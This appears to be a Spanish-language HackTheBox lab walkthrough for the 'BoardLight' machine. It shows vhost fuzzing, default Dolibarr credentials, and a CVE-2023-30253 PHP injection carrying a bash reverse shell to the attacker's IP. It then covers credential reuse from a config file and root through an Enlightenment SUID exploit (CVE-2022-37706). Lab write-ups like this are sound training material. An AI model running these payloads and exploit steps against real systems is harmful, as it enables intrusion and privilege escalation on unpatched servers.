BoardLight – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘BoardLight’ Avatar


Resumen Link to heading

“BoardLight” es una máquina de categoría “fácil” de la plataforma HackTheBox. Luego de inspeccionar la página web principal de la máquina víctima, notamos que ésta está aplicando vhosting por lo que podemos encontrar un subdominio. Éste subdominio está corriendo el servicio Dolibarr con las credenciales por defecto. Ya dentro, somos capaces de ganar acceso a la máquina víctima usando la vulnerabilidad CVE-2023-30253. Ya dentro somos capaces de encontrar credenciales en archivos para este servicio, las cuales son reutilizadas para un usuario dentro de la máquina víctima; logrando así pivotear a este nuevo usuario. Finalmente, revisando archivos con permisos SUID vemos que la máquina tiene el servicio Enlightment con estos permisos. Abusando de la vulnerabilidad CVE-2022-37706 somos capaces de convertirnos en root y ganar así control total del sistema.


User / Usuario Link to heading

Empezando con un escaneo con Nmap sólo muestra 2 puertos abiertos: 22 SSH y 80 HTTP.

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.11

Aplicando algunos scripts de reconocimiento con la flag -sVC sobre estos puertos nos da:

❯ sudo nmap -sVC -p22,80 10.10.11.11 

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 22:31 -04
Nmap scan report for 10.10.11.11
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds

Dado que el puerto 80 HTTP está abierto, visitamos http://10.10.11.11. Podemos entonces ver la página:

BoardLight 1

En corto, esta página ofrece servicios para IT. Los botones de esta página redirigen a archivos .php (por lo que este server está usando PHP). Ninguno de los botones de la página retorna algo interesante. De manera que empezaremos a buscar por subdominios. Noto que en la parte inferior de la página hay un mail de contacto: info@board.htb. De manera que asumo que el dominio principal es board.htb. Agregamos este dominio a nuestro archivo /etc/hosts ejecutando:

❯ echo '10.10.11.11 board.htb' | sudo tee -a /etc/hosts

10.10.11.11 board.htb

Luego, empezamos a buscar por dominios a través de vhosts con ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://board.htb/ -H 'Host: FUZZ.board.htb' -fs 15949

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://board.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.board.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 15949
________________________________________________

crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 265ms]
:: Progress: [4989/4989] :: Job [1/1] :: 231 req/sec :: Duration: [0:00:21] :: Errors: 0 ::

Obtenemos un nuevo subdominio: crm.board.htb

Agrego este nuevo subdominio a mi archivo /etc/hosts. Así, éste se ve ahora como:

❯ tail -n 1 /etc/hosts

10.10.11.11 board.htb crm.board.htb

Una vez agregado este nuevo subdominio, visitamos http://crm.board.htb. Tenemos un panel de login:

BoardLight 2

De aquí se puede ver que el panel está usando el software Dolibarr; más específicamente su versión 17.0.0.

Información
Dolibarr ERP CRM is an open source, free software package for companies of any size, foundations or freelancers. It includes different features for enterprise resource planning (ERP) and customer relationship management (CRM) but also other features for different activities.

En resumen, Dolibarr es un software para planificación de recursos empresariales.

Buscando dolibarr 17.0.0 exploit nos lleva al siguiente post de Swascan donde proveen, paso a paso, cómo explotar una vulnerabilidad para ejecutar código PHP a través de una vulnerabilidad catalogada como CVE-2023-30253. Pero éste requiere estar autenticado/usuario. Del repositorio de Github de Dolibarr éste dice que las credenciales por defecto son admin:admin. Uso estas credenciales y funcionan…

BoardLight 3

Ahora simplemente seguimos los pasos mostrados en el post de Swascan. Clickeo, en la parte superior izquierda, en Websites y luego en el símbolo +. Acto seguido, agregamos una simple página. En mi caso ésta la rellené con datos simples:

BoardLight 4

y clickeo en Create.

El sitio creado debería de estar allí. Ahora simplemente lo editamos clickeando en + al lado del texto Page y agregamos una página. Agrego un header de HTML genérico como:

 <article>
  <header>
    <h1>A heading here</h1>
    <p>Posted by John Doe</p>
    <p>Some additional information here</p>
  </header>
  <p>Lorem Ipsum dolor set amet....</p>
</article> 

y lo creamos. Ahora deberíamos de ver:

BoardLight 6

Clickeamos en Edit HTML Source y agregamos el código:

<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable="true" if you want to use the inline editor for the content  -->
<section id="mysection1" contenteditable="true">
    <?PHP echo 2+2; ?>
</section>

BoardLight 7

Y, tal cual explica el post, podemos ver el resultado 4 en la página. Esto significa que el código ha sido ejecutado:

BoardLight 8

Ya que esto funcionó, repetimos los pasos. Pero esta vez agrego el payload:

<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable="true" if you want to use the inline editor for the content  -->
<section id="mysection1" contenteditable="true">
    <?PhP system('bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'); ?>
</section>

donde 10.10.16.6 es mi IP de atacante 443 es el peurto en el cual me pondré en escucha con netcat para entablar una reverse shell.

BoardLight 9

Antes de clickear en Save, recordamos empezar un listener con netcat en el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Luego de clickear en Save obtengo una shell como el usuario www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.11] 45952
bash: cannot set terminal process group (855): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ whoami

whoami
www-data

www-data@boardlight:~/html/crm.board.htb/htdocs/website$
Nota
Cada cierto tiempo la página que generamos en el panel Dolibarr es borrada (probablemente por alguna tarea corriendo por detrás en el servidor). De manera que puede ser necesario volver a crear la página maliciosa en el panel si es que ésta no se encuentra allí.

Ya dentro, puedo ver un usuario llamado larissa en el directorio /home:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ls /home

larissa

Subimos LinPEAS (el cual puede ser descargado desde su reposotorio de Github) a la máquina víctima. Descargo el binario de LinPEAS desde mi máquina de atacante, le asigno permisos de ejecución y pasamos linpeas.sh con un servidor Python HTTP temporal en el puerto 8080:

❯ wget https://github.com/peass-ng/PEASS-ng/releases/download/20240526-eac1a3fa/linpeas.sh

❯ chmod +x ./linpeas.sh

❯ ls && python3 -m http.server 8080

linpeas.sh
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Lo descargamos en la máquina víctima usando wget:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ wget http://10.10.16.6:8080/linpeas.sh -O /tmp/linpeas.sh

--2024-06-01 20:46:01--  http://10.10.16.6:8080/linpeas.sh
Connecting to 10.10.16.6:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 862779 (843K) [text/x-sh]
Saving to: '/tmp/linpeas.sh'

/tmp/linpeas.sh                            100%[=======================================================================================>] 842.56K   795KB/s    in 1.1s

2024-06-01 20:46:03 (795 KB/s) - '/tmp/linpeas.sh' saved [862779/862779]

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ chmod +x /tmp/linpeas.sh

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ /tmp/linpeas.sh

Luego de correrlo noto un archivo “backup” (de respaldo) localizado en el directorio crm.board.htb (el cual se encuentra en el directorio /var/www/html):

<SNIP>
╔══════════╣ Backup files (limited 100)
-rw-r--r-- 1 root root 225 Aug 19  2021 /var/lib/sgml-base/supercatalog.old
-r-------- 1 www-data www-data 16394 May 13 13:20 /var/www/html/crm.board.htb/htdocs/conf/conf.php.old
-rw-rw-r-- 1 www-data www-data 2049 Jun  1 19:25 /var/www/html/crm.board.htb/documents/website/19d1d9a067/page7.tpl.php.old
<SNIP>

Revisando su contenido (y luego de remover comentarios y líneas vacías con grep) tenemos:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php.old | grep -v "^\/\/" | grep -v '^$'

<?php
$dolibarr_main_url_root='';
$dolibarr_main_document_root='';
$dolibarr_main_data_root='';
$dolibarr_main_db_host='';
$dolibarr_main_db_port='';
$dolibarr_main_db_name='';
$dolibarr_main_db_user='';
$dolibarr_main_db_pass='';
$dolibarr_main_db_type='';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
$dolibarr_main_db_readonly=0;
$dolibarr_main_instance_unique_id='84b5bc91f83b56e458db71e0adac2b62';
$dolibarr_main_authentication='dolibarr';
$dolibarr_main_force_https='0';
$dolibarr_main_prod='1';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_main_restrict_ip='';
$dolibarr_nocsrfcheck='0';
$dolibarr_cron_allow_cli='0';

Está vacío.

No obstante, si revisamos el archivo tal cual/sin modificar (incluyendo comentarios) podemos ver algo:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php.old

<SNIP>
// dolibarr_main_db_pass
// =====================
// This parameter contains password used to read and write into Dolibarr database.
//
// Examples:
// $dolibarr_main_db_pass='myadminpass';
// $dolibarr_main_db_pass='myuserpassword';
//
<SNIP>

De manera que este archivo es un tipo de “template” para guardar credenciales en una base de datos.

Quizás exista un archivo conf.php basados en este “template”. Usando find para buscar por archivos llamados conf.php en la máquina víctima nos muestra:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ find / -name "*conf.php" 2>/dev/null

/var/www/html/crm.board.htb/htdocs/install/fileconf.php
/var/www/html/crm.board.htb/htdocs/conf/conf.php

Revisando /var/www/html/crm.board.htb/htdocs/conf/conf.php da algo interesante:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php | grep -vE "^\/\/|^$"

<?php
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
$dolibarr_main_authentication='dolibarr';
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';
$dolibarr_main_distrib='standard';

Podemos ver credenciales: dolibarrowner:serverfun2$2023!!

Se ven como credenciales para MySQL. Reviso si el puerto 3306 (el puerto por defecto para MySQL) está internamente abierto:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ ss -ntlp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   511                                          *:80                                         *:*

Y podemos entrar en la base de datos MySQL:

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ mysql -u 'dolibarrowner' -p'serverfun2$2023!!'

mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 521
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Sin embargo, antes de entrar en un rabbit hole, pienso “¿por qué no probar esta contraseña encontrada con el usuario larissa encontrado previamente?”

www-data@boardlight:~/html/crm.board.htb/htdocs/website$ su larissa

Password: serverfun2$2023!!

larissa@boardlight:/var/www/html/crm.board.htb/htdocs/website$

Funcionan. Tenemos credenciales: larisa:serverfun2$2023!!

También reviso con NetExec si podemos loguear via SSH con estas credenciales y podemos:

❯ netexec ssh 10.10.11.11 -u 'larissa' -p 'serverfun2$2023!!'

SSH         10.10.11.11     22     10.10.11.11      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.11     22     10.10.11.11      [+] larissa:serverfun2$2023!!  (non root) Linux - Shell access!

De manera que me logueo a través de SSH:

❯ sshpass -p 'serverfun2$2023!!' ssh -o stricthostkeychecking=no larissa@10.10.11.11

Warning: Permanently added '10.10.11.11' (ED25519) to the list of known hosts.
larissa@boardlight:~$ whoami

larissa

Podemos leer la flag de usuario en el directorio /home de este usuario.


Root Link to heading

Buscando por archivos SUID podemos ver 4 archivos que no son “usuales”:

larissa@boardlight:~$ find / -perm -4000 2>/dev/null

<SNIP>
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
<SNIP>

El servicio Enlightment tiene permisos SUID.

Información
Enlightenment is a Window Manager, Compositor and Minimal Desktop for Linux (the primary platform), BSD and any other compatible UNIX system

En síntesis, Enlightment es un administrador de ventanas para Linux.

Buscando vulnerabilidades para Enlightment encontramos la vulnerabilidad CVE-2022-37706. Buscando, podemos encontrar este exploit de exploit-db o este de un repositorio de Github. Ambos son bastante similares. Usando el segundo, copio el código del exploit (dado que es simplemente código en Bash), abro un archivo en la máquina de atacante con nano llamado /tmp/exp.sh, paso el código, lo guardo, le asigno permisos de ejecución y lo ejecutamos:

larissa@boardlight:~$ nano /tmp/exp.sh

larissa@boardlight:~$ chmod +x /tmp/exp.sh

larissa@boardlight:~$ /tmp/exp.sh

CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami

root

GG. Podemos leer la flag root en el directorio /root.

~Happy Hacking